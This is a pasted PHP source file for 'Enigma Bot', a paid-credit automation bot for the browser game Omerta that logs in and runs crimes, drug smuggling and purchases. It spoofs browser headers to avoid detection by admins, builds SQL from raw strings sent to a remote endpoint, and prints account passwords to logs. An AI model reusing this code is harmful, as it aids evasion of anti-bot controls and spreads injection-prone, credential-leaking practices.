3nvisi0n

Enigma Bot

Sep 27th, 2011
829
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 189.00 KB | None | 0 0
  1. <?php
  2. /**
  3. Very old code, just figured someone might find a use from it, I've not tidied it up and wrote this before I really knew what I was doing with bots, so it is 99% hacking at code and unplanned, really quite unmanageable/unmaintainable and insecure.
  4.  
  5. However, this is the sourse to the Enigma bot for Omerta v 2.7 I think
  6. @author 3nvisi0n
  7. */
  8. $version = "2.600292"; //global varibale for version number
  9. loadStats();
  10. function queryDB($query, $array = true)
  11. {
  12.     //queries a database through query.php
  13.     global $con, $scriptSite, $settings;
  14.     if (instr('users', $query)) {
  15.         if (!instr('password=', str_replace(' ', '', $query))) {
  16.             $query = $query . " AND password='" . md5($settings['sPass']) . "'";
  17.         }
  18.     }
  19.     $query = "query=" . $query; //stores the query
  20.     if ($array)
  21.         $query = $query . "&array=1"; //so the query.php knows wether or not ti should display any values
  22.     //cause query.php got to much usage use a random page to spread it
  23.     //$links = array('query.php', 'yess.php', 'noo.php', 'newquery.php', 'copyquery.php');
  24.  
  25.     //$links = array('query.php', 'query2.php', 'query_prot.php', 'query_prot2.php', 'queryp.php');
  26.         $links = array('query.php');
  27.     $link = @$links[array_rand($links)];
  28.     //echo "$query";
  29.     $qu = post($scriptSite . $link."?".md5(rand(1,99999)), 'dummy', $query);
  30.     if ($qu == '-1') {
  31.         output("Script User/Pass is wrong");
  32.         unlink("settings.cfg");
  33.         die(sleep(5));
  34.     }
  35.     parse_str($qu, $res); //results come in a string parsable by parse_str
  36.     return $res;
  37. }
  38. function getHighLow()
  39. {
  40.     global $scriptSite,$vers;
  41.     $ret = trim(get($scriptSite . 'prices.php?url='.$vers['omertaURL'], 'dummy')); //gets the prices from the price page in psudo-xml
  42.     return $ret;
  43. }
  44. function getDB($get, $where, $val)
  45. {
  46.     //simple call to query the database with a select query for a specific element
  47.     global $con; //globalizes the connection for db (usful when using a direct connection mysql_connect())
  48.     $x = 0;
  49.     while (!isset($res[0]) && $x < 5) //only loops 5 times, to prevent infinite loop
  50.  
  51.         $res = queryDB("SELECT $get FROM users WHERE $where='$val'", true);
  52.     $x++;
  53.     return $res[0];
  54. }
  55. function setDB($set, $newVal, $where, $val)
  56. {
  57.     global $con; //globalizes the connection for db (usful when using a direct connection mysql_connect())
  58.     queryDB("UPDATE users SET $set='$newVal' WHERE $where='$val'"); //mysql query to update
  59. }
  60. function wrongCode()
  61. {
  62.     //deals with a wrong code entered by user
  63.     global $settings, $stats; //global settings array
  64.     $stats['code']['wrong']++;
  65.     //get($GLOBALS['scriptSite'] . "deleteCachee.php?cache=" . md5_file('ccc.png'),'dummy');
  66.     output("Incorrect Code");
  67. } //wrongCode()
  68. function clearParse($string)
  69. {
  70.     //Clears a fread or stdin line of hidden characters.
  71.     $string = trim($string);
  72.     $string = str_replace("\n", "", $string);
  73.     $string = str_replace("\r", "", $string);
  74.     $string = str_replace("\t", "", $string);
  75.     return $string;
  76. } //end clearParse($string)
  77. function write2file($file, $content, $mode = 'w')
  78. {
  79.     //writes to file, pretty damn obvious
  80.     $fp = fopen($file, $mode);
  81.     fwrite($fp, $content);
  82.     fclose($fp);
  83. } //write2file
  84. function inStrArray($needle, $haystack)
  85. {
  86.     //used to check an array of items instead of one at a time.
  87.     foreach ($needle as $value) {
  88.         if (!(inStr($value, $haystack))) {
  89.             //output($value . "\nWAS NOT FOUND!");
  90.             return false;
  91.         } //if
  92.     } //foreach
  93.     return true;
  94. } //inStrArray
  95. function inStr($needle, $haystack)
  96. {
  97.     $needlechars = strlen($needle);
  98.     $i = 0;
  99.     for ($i = 0; $i < strlen($haystack); $i++) {
  100.         if (substr($haystack, $i, $needlechars) == $needle) {
  101.             return true;
  102.         } //if
  103.     } //for
  104.     return false;
  105. }
  106. function get($url, $ref)
  107. {
  108.     //output($url, 'GET');
  109.     //Retrieves the $page with $ref as a refering page, via GET request
  110.     global $curl, $useragent, $settings, $omerta, $scriptURL;
  111.     global $argu;
  112.     //Extra headers being sent to make script look like a normal browser.
  113.     $headers = array("Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5",
  114.         "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7",
  115.         "Accept-Language: en-us,en;q=0.5", "Connection: keep-alive", "Keep-Alive: 300");
  116.     $done = false;
  117.     while ($done == false) {
  118.         //curl options
  119.         curl_setopt($curl, CURLOPT_URL, $url); //sets URL to goto
  120.         curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); //tells cURL to return the result of page instead of displaying it
  121.         curl_setopt($curl, CURLOPT_REFERER, $ref); //sets referer
  122.         curl_setopt($curl, CURLOPT_USERAGENT, $useragent); //useragent for script, Mozilla Firefox 2
  123.         curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1); //if a header is given to goto a new url (redirect) it will follow it
  124.         curl_setopt($curl, CURLOPT_HTTPHEADER, $headers); //send extra headers to appear for 'human' like
  125.         curl_setopt($curl, CURLOPT_AUTOREFERER, true); //if followLocation was used, then the refer will match
  126.         curl_setopt($curl, CURLOPT_COOKIEJAR, "cookies.txt"); //where to output cookies on cURL session close
  127.         curl_setopt($curl, CURLOPT_COOKIEFILE, "cookies.txt"); //where to load cookies from on cURL session start
  128.         curl_setopt($curl, CURLOPT_PROXY, $settings['proxy']); //user proxy, if NULL proxy is disabled
  129.         curl_setopt($curl, CURLOPT_PROXYUSERPWD, $settings['pAuth']); //if needed the auth for the proxy
  130.         //If a prior statment had curl posting data regarless of wether or not it was said this time, it still will (thus caught by admins)
  131.         curl_setopt($curl, CURLOPT_PUT, false); //Explicitly state not to use put
  132.         curl_setopt($curl, CURLOPT_POST, 0); //Explicitly saying not to use post
  133.     if (isset($argu['url'][0]) && strtolower($argu['url'][0]) == 'true' && !inStr($scriptURL,
  134.         $url)) {
  135.         write2file('../logs/url.txt', strftime("%H:%M:%S") . " GET :: " . $url . "\n\r
  136. ", 'a'); //formated message for output
  137.     }        
  138.        
  139.         $res = curl_exec($curl); //Execute curl
  140.         $info = curl_getinfo($curl);
  141.         if (!(($info['http_code'] >= 200 && $info['http_code'] <= 299) || ($info['http_code'] >=
  142.             400 && $info['http_code'] <= 404) || ($info['http_code'] == 302))) {
  143.             output($info['http_code'], "Error");
  144.             if (!inStr($GLOBALS['scriptSite'], $url))
  145.                 output($url, "ADDR");
  146.         } elseif (!(clicklimitCheck($res, $url))) {
  147.             sleep(10);
  148.         } else {
  149.             $done = true;
  150.         } //end else
  151.     } //wend
  152.     //output($url,"Get");
  153.     return $res; //return the page output.
  154. } //end get($url,$ref)
  155. function post($url, $ref, $post)
  156. {
  157.     //output($url, 'POST');
  158.     //Retrieves, $page, using the refer $ref, and POST arguments $post
  159.     global $curl, $useragent, $settings;
  160.     //Extra headers being sent to make script look like a normal browser.
  161.     global $argu;
  162.  
  163.     $headers = array("Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5",
  164.         "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7",
  165.         "Accept-Language: en-us,en;q=0.5", "Connection: keep-alive", "Keep-Alive: 300");
  166.     //curl options
  167.     $done = false;
  168.     while ($done == false) {
  169.         curl_setopt($curl, CURLOPT_URL, $url); //sets URL to goto
  170.         curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); //tells cURL to return the result of page instead of displaying it
  171.         curl_setopt($curl, CURLOPT_REFERER, $ref); //sets referer
  172.  
  173.         curl_setopt($curl, CURLOPT_USERAGENT, $useragent); //useragent for script, Mozilla Firefox 2
  174.         curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1); //if a header is given to goto a new url (redirect) it will follow it
  175.         curl_setopt($curl, CURLOPT_HTTPHEADER, $headers); //send extra headers to appear for 'human' like
  176.         curl_setopt($curl, CURLOPT_AUTOREFERER, true); //if followLocation was used, then the refer will match
  177.         curl_setopt($curl, CURLOPT_COOKIEJAR, "cookies.txt"); //where to output cookies on cURL session close
  178.         curl_setopt($curl, CURLOPT_COOKIEFILE, "cookies.txt"); //where to load cookies from on cURL session start
  179.         curl_setopt($curl, CURLOPT_PROXY, $settings['proxy']); //user proxy, if NULL proxy is disabled
  180.         curl_setopt($curl, CURLOPT_PROXYUSERPWD, $settings['pAuth']); //if needed the auth for the proxy
  181.         //If a prior statment had curl posting data regarless of wether or not it was said this time, it still will (thus caught by admins)
  182.         curl_setopt($curl, CURLOPT_PUT, false); //Explicitly state not to use put
  183.         curl_setopt($curl, CURLOPT_POST, 1); //Giving cURL the okay to use POST
  184.         curl_setopt($curl, CURLOPT_POSTFIELDS, $post); //sets teh field for posting
  185.     if (isset($argu['url'][0]) && strtolower($argu['url'][0]) == 'true' && !inStr('3nvisi0n.net',
  186.         $url)) {
  187.         write2file('../logs/url.txt', strftime("%H:%M:%S") . " POST :: " . $url . "\n\r
  188.     $post
  189. ", 'a'); //formated message for output
  190.     }        
  191.        
  192.         $res = curl_exec($curl); //Execute curl
  193.         $info = curl_getinfo($curl);
  194.         if (!(($info['http_code'] >= 200 && $info['http_code'] <= 299) || ($info['http_code'] >=
  195.             400 && $info['http_code'] <= 404) || ($info['http_code'] == 302))) {
  196.             output($info['http_code'], "Error");
  197.             if (!inStr($GLOBALS['scriptSite'], $url))
  198.                 output($url, "ADDR");
  199.         } elseif (!(clicklimitCheck($res, $url))) {
  200.             sleep(10);
  201.         } else {
  202.             $done = true;
  203.         } //end else
  204.     } //wend
  205.     return $res; //return the page output.
  206. } //end post($page, $ref, $post)
  207. function output($message, $from = 'System', $timeStamp = true)
  208. {
  209.     //standard output format for script
  210.     $from = "[".strtoupper(str_pad($from,9,' ',STR_PAD_BOTH))."] ";
  211.     if($timeStamp==true) echo strftime("%H:%M:%S") . "  " . $from . $message . "\n\r"; //formated message for output
  212.     else {echo $message . "\n\r";}
  213.     $date = strftime("%b_%d"); //date
  214.     write2file("../logs/$date.txt", strftime("%H:%M:%S") . "  " . $from . $message . "\n\r", 'a+');
  215. } //end output($message, $from)
  216. function getSettings()
  217. {
  218.     //Fills the settings array
  219.     $error = true;
  220.     while ($error == true) {
  221.         $error = false; //assume error free run
  222.         if (is_file("settings.cfg")) {
  223.             output("Loading Settings.");
  224.             parseSettings();
  225.         } else {
  226.             $error = true;
  227.             createSettings();
  228.         } //end if
  229.     } //wend
  230. } //getSettings()
  231. function createSettings()
  232. {
  233.     //Creates a settings file, write the file in format to be parsed by parse_str() by php (just like POST/GET vars)
  234.     output("Settings Missing.");
  235.     $fp = fopen('settings.cfg', 'a');
  236.     echo "Script Username :: ";
  237.     $sUser = clearParse(fread(STDIN, 1024));
  238.     fwrite($fp, "sUser=" . $sUser . "&");
  239.     echo "\r\nScript Password :: ";
  240.     $sPass = clearParse(fread(STDIN, 1024));
  241.     fwrite($fp, "sPass=" . $sPass . "&");
  242.     echo "\r\nProxy IP:PORT (leave empty if none) :: ";
  243.     $sProxy = clearParse(fread(STDIN, 1024));
  244.     fwrite($fp, "proxy=" . $sProxy);
  245.     if (!$sProxy == "") {
  246.         echo "\r\nProxy username:password :: ";
  247.         $pAuth = clearParse(fread(STDIN, 1024)); //No necessary if proxy is unused.
  248.         fwrite($fp, "&pAuth=" . $pAuth);
  249.     } //end if
  250.     else
  251.         fwrite($fp, "&pAuth=");
  252.     fclose($fp);
  253. }
  254. function parseSettings()
  255. {
  256.     //Parses the settings file, then gets the settings from the server
  257.     global $settings, $scriptSite, $omerta, $startSleep;
  258.     $config = file_get_contents('settings.cfg');
  259.     parse_str($config, $settings); //gets teh settings and reads them to the $settings variable
  260.     $proxy = $settings['proxy'];
  261.     $pAuth = $settings['pAuth'];
  262.     $sPass = $settings['sPass'];
  263.     check4update();
  264.     global $con;
  265.  
  266.     $sql = "SELECT * from users where username='" . $settings['sUser'] .
  267.         "' and password='" . md5($settings['sPass']) . "'";
  268.     $result = queryDB($sql);
  269.     if ($result['username'] == $settings['sUser']) {
  270.         $row = $result;
  271.         $noSell = $row['noSell'];
  272.         $noSell = str_replace(",", "&noSell[]=", $noSell);
  273.         $noSell = "&noSell[]=" . $noSell;
  274.         if ($row['credits'] <= 0) {
  275.             output("No credits remaining.");
  276.             die(sleep(65));
  277.         }
  278.         //Generates the settings from the database to a parseable string for php to read from
  279.         $par = "id=" . $row['id'] . "&maxCoke=" . $row['maxCoke'] . "&credits=" . $row['credits'] .
  280.             "&doNarcs=" . $row['doNarcs'] . "&shootBottle=" . $row['shootBottle'] .
  281.             "&sellPoint=" . $row['sellPoint'] . "&useCache=" . $row['cache'] . "&doBooze=" .
  282.             $row['doBooze'] . "&boozeRuns=" . $row['boozeRuns'] . "&doSelfBO=" . $row['doSelfBO'] .
  283.             "&maxBulletPrice=" . $row['maxBulletPrice'] . "&minAmmountBullets=" . $row['minAmmountBullets'] .
  284.             "&minBulletMoney=" . $row['minBulletMoney'] . "&onlyBust=" . $row['onlyBust'] .
  285.             "&waitBust=" . $row['waitBust'] . "&doBullets=" . $row['doBullets'] .
  286.             "&betRoul=" . $row['betRoul'] . "&numberRoul=" . $row['numberRoul'] .
  287.             "&gamble_roul=" . $row['gamble_roul'] . "&roulMin=" . $row['roulMin'] .
  288.             "&maxBloodPrice=" . $row['maxBloodPrice'] . "&minBloodBuy=" . $row['minBloodBuy'] .
  289.             "&minBloodMoney=" . $row['minBloodMoney'] . "&doBlood=" . $row['doBlood'] .
  290.             "&sleepingM=" . $row['sleepingM'] . "&sleepingH=" . $row['sleepingH'] .
  291.             "&sleepingT=" . $row['sleepingT'] . "&maxBuyOut=" . $row['maxBuyOut'] .
  292.             "&doRange=" . $row['doRange'] . "&maxRangeCost=" . $row['maxRangeCost'] .
  293.             "&buyGun=" . $row['buyGun'] . $noSell;
  294.         parse_str($par, $settings); //parses the above string into the settings array
  295.         if (file_exists('user_pass.txt')) {
  296.             $up = explode(':', file_get_contents('user_pass.txt'));
  297.             $settings['omertaUser'] = $up[0];
  298.             $settings['omertaPass'] = $up[1];
  299.         } else
  300.             createUserPassFile();
  301.         if (($settings['omertaUser'] == "") && ($settings['omertaPass'] == "")) {
  302.             output("Omerta user not setup yet.");
  303.             output("Please login @ $GLOBALS[scriptURL]");
  304.             output("And setup your omerta user.");
  305.             while (true) {
  306.                 sleep(10);
  307.                 die();
  308.             } //while
  309.         } //if
  310.         //Setting proxy information
  311.         $settings['proxy'] = $proxy;
  312.         $settings['pAuth'] = $pAuth;
  313.         $settings['sPass'] = $sPass;
  314.  
  315.         //Setting sleeping
  316.         if ($settings['sleepingT'] > 0) {
  317.             $year = date("Y", time());
  318.             $day = date("j", time());
  319.             $month = date("m", time());
  320.             $startSleep = mktime($settings['sleepingH'], $settings['sleepingM'], 0, $month,
  321.                 $day, $year);
  322.             if ($startSleep < time()) {
  323.                 $startSleep = mktime($settings['sleepingH'], $settings['sleepingM'], 0, $month,
  324.                     $day + 1, $year);
  325.             }
  326.         }
  327.  
  328.         //Setting crime action
  329.         if ($settings['shootBottle'] == "1") {
  330.             $settings['crimeAction'] = "chancebottle";
  331.         } //end if
  332.         else {
  333.             $settings['crimeAction'] = "chance5";
  334.         } //end else
  335.         //Sets booze action if there is a problem with user choices
  336.         if ($settings['boozeRuns'] == '1' && $settings['doBooze'] == '1') {
  337.             $settings['boozeRuns'] = '1';
  338.             $settings['doBooze'] = '';
  339.         } //if
  340.         //displays the sessionf or user at start of script
  341.  
  342.         foreach ($settings as $key => $val) {
  343.             if (!(($key == "id") || ($key == "proxy") || ($key == "noSell") || ($key ==
  344.                 "pAuth"))) {
  345.                 //echo "\t$key => $val\n";
  346.             }
  347.  
  348.         }
  349.         //defaults some settings so there are no errors later on
  350.         $settings['cache'] = '';
  351.         $settings['currentCity'] = "";
  352.         $settings['curCity'] = "";
  353.         $settings['frequency'] = 5; //number of minutes between status page check
  354.         $settings['skipNarc'] = false;
  355.     } else {
  356.         output("cript Username is incorrect.");
  357.         unlink('settings.cfg'); //if settings are wrong delete settings
  358.         die(output("Incorrect Login, deleting settings"));
  359.     } //else
  360. } //parseSettings()
  361. function login2Omerta()
  362. {
  363.     global $settings, $omerta, $vers;
  364.     $loginPage = get($vers['omertaURL'], $vers['omertaURL']);
  365.     $checkString = array("<form method=\"post\" action=\"game-login.php\">",
  366.         "<input type='text' style='width: 90; font-family: Verdana; font-size: 10px; background-color: #303030; color: #CCCCCC; border: 1px solid #FFFFFF' name='name'>",
  367.         "<input type='password' style='width: 90; font-family: Verdana; font-size: 10px; background-color: #303030; color: #CCCCCC; border: 1px solid #FFFFFF' name='pass'>"); //Three Lines to ensure the login hasn't changed.
  368.     if (!((inStr($checkString[0], $loginPage)) && (inStr($checkString[1], $loginPage)) &&
  369.         (inStr($checkString[2], $loginPage)))) {
  370.         $loginPage = removeBetween('<!--', '-->', $loginPage);
  371.         $loginPage = str_replace('./', '', $loginPage);
  372.         $session_alive[] = '<frame name="menu" src="menu.php"';
  373.         //$session_alive[] = '<frame name="main" src="main.php"';
  374.         $session_alive[] = '<frame name="info" src="info.php"';
  375.         if (!(inStrArray($session_alive, $loginPage))) {
  376.             output("Problem with Login page");
  377.             write2file("newLogin.html", $loginPage);
  378.             write2file("loginMD5.txt", md5($loginPage));
  379.             sleep(20);
  380.             die();
  381.         } //end if
  382.         else {
  383.             output("Omerta User = " . $settings['omertaUser'], "Login");
  384.             output("Omerta Pass = " . $settings['omertaPass'], "Login");
  385.             if (inStr('<frame name="main" src="main.php"', $loginPage))
  386.                 get($vers['omertaURL'] . "main.php", $vers['omertaURL'] . "game.php");
  387.             elseif (inStr('<frame name="main" src="usms.php"', $loginPage))
  388.                 get($vers['omertaURL'] . "usms.php", $vers['omertaURL'] . "game.php");
  389.             else {
  390.                 output("Unknown main frame, possible script trap.");
  391.                 sleep(10);
  392.                 die();
  393.             }
  394.         } //end else
  395.     } else {
  396.         output("Omerta User - " . $settings['omertaUser'], "Login");
  397.         output("Omerta Pass - " . $settings['omertaPass'], "Login");
  398.         $settings['omertaUser'] = trim($settings['omertaUser']);
  399.         $settings['omertaPass'] = trim($settings['omertaPass']);
  400.        
  401.         $pst = "name=$settings[omertaUser]&pass=$settings[omertaPass]";
  402.         $loginPage = post($vers['omertaURL'] . "game-login.php", $vers['omertaURL'], $pst);
  403.         $loginPage = removeBetween('<!--', '-->', $loginPage);
  404.         $loginPage = str_replace('./', '', $loginPage);
  405.         $session_alive[] = '<frame name="menu" src="menu.php"';
  406.         //$session_alive[] = '<frame name="main" src="main.php"';
  407.         $session_alive[] = '<frame name="info" src="info.php"';
  408.         if (!(inStrArray($session_alive, $loginPage))) {
  409.             write2file("checkLogin.html", $loginPage . "\n\n\n" . md5($loginPage));
  410.             output("Login failed.", "Login");
  411.             sleep(20);
  412.             die();
  413.         } //end if
  414.         if (inStr('<frame name="main" src="main.php"', $loginPage))
  415.             get($vers['omertaURL'] . "main.php", $vers['omertaURL'] . "game.php");
  416.         elseif (inStr('<frame name="main" src="usms.php"', $loginPage))
  417.             get($vers['omertaURL'] . "usms.php", $vers['omertaURL'] . "game.php");
  418.         else {
  419.             output("Unknown main frame, possible script trap.");
  420.             sleep(10);
  421.             die();
  422.         }
  423.     } //end else
  424.     loadOmertaAfterLogin();
  425.     output("Login Sucessful", "Login");
  426.     forceCookies();
  427. }
  428. function loadOmertaAfterLogin()
  429. {
  430.     global $settings, $vers;
  431.     //Banner
  432.     $res = get($vers['omertaURL'] . "banner.php", $vers['omertaURL'] . "game.php");
  433.     $res = removeBetween('<!--', '-->', $res);
  434.     $res = str_replace('./', '', $res);
  435.     $bannerCheck[] = '<frame name="l" src="pic.php"';
  436.     $bannerCheck[] = '<frame name="mail" src="mailbox.php" marginwidth="0" marginheight="0" scrolling="no" frameborder="0" noresize="noresize" />';
  437.     $bannerCheck[] = '<frame name="m" src="mid.php"';
  438.     $bannerCheck[] = '<frame name="r" src="right.php"';
  439.     if (!(inStrArray($bannerCheck, $res))) {
  440.         output("Change spotted in banner.php", "Login");
  441.         write2file("bc.hmtl", $res . "\r\n" . $res);
  442.         sleep(20);
  443.         die();
  444.     }
  445.     //output("Banner.php loaded","Login");
  446.     get($vers['omertaURL'] . "pic.php", $vers['omertaURL'] . "banner.php");
  447.     get($vers['omertaURL'] . "mid.php", $vers['omertaURL'] . "banner.php");
  448.     get($vers['omertaURL'] . "mailbox.php", $vers['omertaURL'] . "banner.php");
  449.     get($vers['omertaURL'] . "right.php", $vers['omertaURL'] . "banner.php");
  450.     get($vers['omertaURL'] . "marquee.php", $vers['omertaURL'] . "banner.php");
  451.     parsePages();
  452.     $settings['newsRefresh'] = 1800;
  453.     $settings['lastBanner'] = time();
  454.     $settings['lastMail'] = time();
  455.     $settings['lastNews'] = time();
  456.     get($vers['omertaURL'] . "info.php", $vers['omertaURL'] . "game.php");
  457.     get($vers['omertaURL'] . "main.php", $vers['omertaURL'] . "game.php");
  458. } //loadOmertaAfterLogin()
  459. function status()
  460. {
  461.     //displayStats();
  462.     //saveStats();
  463.     echo "\r\n";
  464.     global $omerta, $settings;
  465.     global $scriptSite;
  466.     getinbox();
  467.     global $omerta;
  468.     $res = get($omerta['status'], $omerta['menu']);
  469.     $res_org = $res;
  470.     write2file("../status.html", $res);
  471.     upload("../status.html", "status.html");
  472.     parseStatus($res);
  473.     checkVote();
  474. }
  475. function parseStatus($res)
  476. {
  477.     $res_org = $res;
  478.     check4update();
  479.     global $settings, $omerta, $argu, $omerta, $timer, $priceChangeTime, $priceChange, $priceSec, $vers;
  480.     checkEnglish($res);
  481.  
  482.     $rp = trim(getBetween(strtolower(html2text($res)), $vers['text']['gress'], $vers['text']['health']));
  483.     $rank = trim(substr(trim(getBetween(strtolower($res), '<td><b>'.$vers['text']['rank'].'</b></td>', '</td>')), 4));
  484.     $settings['rank'] = $rank;
  485.     //bnrank();
  486.     $cash = trim(substr($res, strpos($res, $vers['text']['Cash'] . "</b></td>") + 13,
  487.         50));
  488.     $cash = substr($cash, 0, strpos($cash, "</td>"));
  489.     $cash = str_replace("<td>", '', $cash);
  490.     $cash = str_replace("$", '', $cash);
  491.     $cash = str_replace(",", '', $cash);
  492.     $cash = trim(str_replace(" ", '', $cash));
  493.     $res2 = html2text($res);
  494.     $ks = str_replace('%', '', trim(getBetween($res2, $vers['text']['Killing skill'],
  495.         $vers['text']['Jailbusting Skill'])));
  496.     $family = trim(getBetween($res2, $vers['text']['Family'], $vers['text']['Capo'])) .
  497.         "\n\t\n"; //using /n/t/n as a delimiter for end of line, not sure if PHP has anything so did it myself :)
  498.     if ($family{0} == '[')
  499.         $family = trim(getBetween($family, ']', "\n\t\n")); //If there is a link, get the family, no link ... no link = Famless
  500.     $family = trim($family);
  501.     $settings['credits'] = getDB('credits','id',$settings['id']);
  502.     output("R:" . $settings['rank'] . "||RP:".$rp."||KS:".$ks."||C:".$cash."||F:".$family."||C:".$settings['credits']."\n", "Status",false);
  503.    
  504.     /*output("Rank: " . $settings['rank'] . " // RP: $rp " . "// Cash: " . $cash,
  505.         "Status");
  506.     output("KS: $ks // Family: $family // Credits: " . $settings['credits'],
  507.         'Status'); */
  508.  
  509.     $level = trim(getBetween(getBetween($res, '<td><b>' . $vers['text']['Level'] .
  510.         '</b></td>', '<td><b>' . $vers['text']['Start']), '<td>', '</td>'));
  511.     if (inStr('<', $level))
  512.         $level = trim(substr($level, 0, strpos($level, '<')));
  513.  
  514.     if (rand(1, 5) == 1) {
  515.         setDB('family', $family, 'id', $settings['id']);
  516.         setDB('omertaUser', $settings['omertaUser'], 'id', $settings['id']);
  517.         setDB('killskill', $ks, 'id', $settings['id']);
  518.         setDB('rank', $settings['rank'], 'id', $settings['id']);
  519.         setDB('level', $level, 'id', $settings['id']);
  520.     }
  521.     sleep(rand(1, 3));
  522.     $credits = getDB('credits', 'id', $settings['id']);
  523.     if ($credits <= 0) {
  524.         output("No credits.");
  525.         die(sleep(30));
  526.     }
  527.     if (!inStr('Tommy', $res) && $settings['buyGun'] == '1') {
  528.         if ($cash > 36000) {
  529.             buyGun();
  530.             output("Purchased Tommy Gun", "Shop");
  531.             queryDB("UPDATE users SET shootBottle='1' WHERE id='" . $settings['id'] . "'");
  532.             die();
  533.         }
  534.     }
  535.     $start = '<td><a href="travel.php">';
  536.     $end = '</a></td>';
  537.     $place = findinside($start, $end, $res);
  538.     $settings['curCity'] = str_replace(" ", "", $place[1]);
  539.     if (!((inStr("Tommy", $res)) || (inStr(".45 Colt", $res)))) {
  540.         $settings['crimeAction'] = "chance5";
  541.     }
  542.     if ($settings['crimeAction'] != 'chance5' && ($ks == '100')) {
  543.         output('You have reached 100% KS, disabled bottle', 'Status');
  544.         $settings['crimeAction'] = 'chance5';
  545.     }
  546.     //print_r($argv);
  547.     if (isset($argu['dsw']) && isset($argu['dsw'][0]) && isset($argu['dsw'][1]))
  548.         checkSW($cash);
  549.     $replace = array("\n", "\r", "\t", " ", );
  550.     $rn = str_replace($replace, '', $res);
  551.     $minute = strftime("%M");
  552.     if ((($minute >= 0) && ($minute <= 25)) || (($minute >= 30) && ($minute <= 55))) {
  553.         if ((!(inStr("<td><b>" . $vers['text']['Plane'] . "</b></td><td>" . $vers['text']['None'] .
  554.             "</td>", $res))) && ($settings['doNarcs'] == 1) && (inStr("<ahref=\"travel.php\"><b>" .
  555.             $vers['text']['Nextflight'] . "</b></a></td><td><ahref=\"travel.php\">Now</a></td>",
  556.             $rn))) {
  557.             $ress = get($omerta['smuggling'], $omerta['menu']);
  558.             $cokeAmmount = getAmmount($ress, $vers['text']['Cocaine']);
  559.             if ($cokeAmmount == 0) {
  560.                 if ($cash > $settings['maxCoke'] * $settings['narcAmmount'] + (24000 * 2)) {
  561.                     $ccprice = getPrice(get($omerta['smuggling'], $omerta['menu']), $vers['text']['Cocaine']);
  562.                     if (is_numeric($ccprice))
  563.                         output($ccprice, "Current City");
  564.                     elseif (inStr("src=/static/images/game/generic/criminal.jpg", $ress)) {
  565.                         output('In Jail, Narcs postponed 5 minutes');
  566.                         return;
  567.                     }
  568.                     if ($ccprice <= $settings['maxCoke']) {
  569.                         if ($settings['boozeRuns'] == '1') {
  570.                             if ($cash - ($settings['maxCoke'] * $settings['narcAmmount'] + (24000 * 2)) >= ($settings['boozeAmmount'] *
  571.                                 2100)) {
  572.                                 buyCocaine(true);
  573.                                 return true;
  574.                             } else {
  575.                                 output("Not enough cash for rum.", "Booze");
  576.                                 buyCocaine();
  577.                                 return true;
  578.                             }
  579.                         } else {
  580.                             buyCocaine();
  581.                             return true;
  582.                         }
  583.                     } else {
  584.                         $res = getHighLow();
  585.                         $res = str_replace('wY', 'w Y', $res);
  586.                         $res = str_replace('sV', 's V', $res);
  587.                         $city = get_between($res, "<low>", "</low>");
  588.                         $price = get_between($res, "<$city>", "</$city>");
  589.                         if (trim($price) == "" || $price > 28000) {
  590.                             output("Cannot read prices.", "Narcs");
  591.                             $settings['skipNarc'] = true;
  592.                         } else {
  593.                             output($city . " ($price)", "Low");
  594.                             if ($price > $settings['maxCoke']) {
  595.                                 output("Too expensive.", "Narcs");
  596.                                 $settings['skipNarc'] = true;
  597.                             } else {
  598.                                 $settings['skipNarc'] = false;
  599.                                 if (!travel($city)) {
  600.                                     output("Travel Trap detected.", "Travel");
  601.                                 } else {
  602.                                     if ($settings['boozeRuns'] == '1') {
  603.                                         if ($cash - ($settings['maxCoke'] * $settings['narcAmmount'] + (24000 * 2)) >= ($settings['boozeAmmount'] *
  604.                                             2100)) {
  605.                                             buyCocaine(true);
  606.                                             return true;
  607.                                         } else {
  608.                                             output("Not enough cash for rum.", "Booze");
  609.                                             buyCocaine();
  610.                                             return true;
  611.                                         }
  612.                                     } else {
  613.                                         buyCocaine();
  614.                                         return true;
  615.                                     }
  616.                                 }
  617.                             }
  618.                         }
  619.                     }
  620.                 } else {
  621.                     output("Not enough cash for narcs.", "Narcs");
  622.                     $settings['skipNarc'] = true;
  623.                 }
  624.             } elseif ($cokeAmmount > 0) {
  625.                 if ($cash > (24000)) {
  626.                     $res = getHighLow();
  627.                     $res = str_replace('wY', 'w Y', $res);
  628.                     $res = str_replace('sV', 's V', $res);
  629.                     $city = get_between($res, "<high>", "</high>");
  630.                     $price = get_between($res, "<$city>", "</$city>");
  631.                     if (trim($price) == "" || $price > 28000) {
  632.                         output("Cannot read prices.", "Narcs");
  633.                     } else {
  634.                         if (trim($price) <= 20000) {
  635.                             output("Cheap high");
  636.                             $settings['skipNarc'] = true;
  637.                         } else {
  638.                             $settings['skipNarc'] = false;
  639.                             output($city . " ($price)", "High");
  640.                             output($city, "Narcs");
  641.                             if (!travel($city)) {
  642.                                 output("Travel Trap detected.", "Travel");
  643.                             } else {
  644.                                 sellStuff(true);
  645.                             }
  646.                         }
  647.                     }
  648.                 } else {
  649.                     output("Not enough cash for narcs.", "Narcs");
  650.                     $settings['skipNarc'] = true;
  651.                 }
  652.             } else {
  653.                 output("Omerta is bugged.", 'Smuggling');
  654.                 $settings['skipNarc'] = true;
  655.             }
  656.         }
  657.     }
  658.     $res = $res_org;
  659.     if (inStr("<b>" . $vers['text']['Booze'] . "</b></a></td><td>" . $vers['text']['Now'],
  660.         $rn) && ($settings['doBooze'] == 1)) {
  661.         if (!($cash > ($settings['boozeAmmount'] * 300))) {
  662.             output("Not enough cash for booze.", "Booze");
  663.         } else {
  664.             output("Performing hourly booze.", "Booze");
  665.             booze();
  666.         }
  667.     }
  668.     $res = $res_org;
  669.     if ($settings['doBlood'] == '1') {
  670.         $missing = (100 - parseHealth($res));
  671.         if (($cash > $settings['minBloodMoney']) && (inStr('<td><a href="bloodbank.php">' .
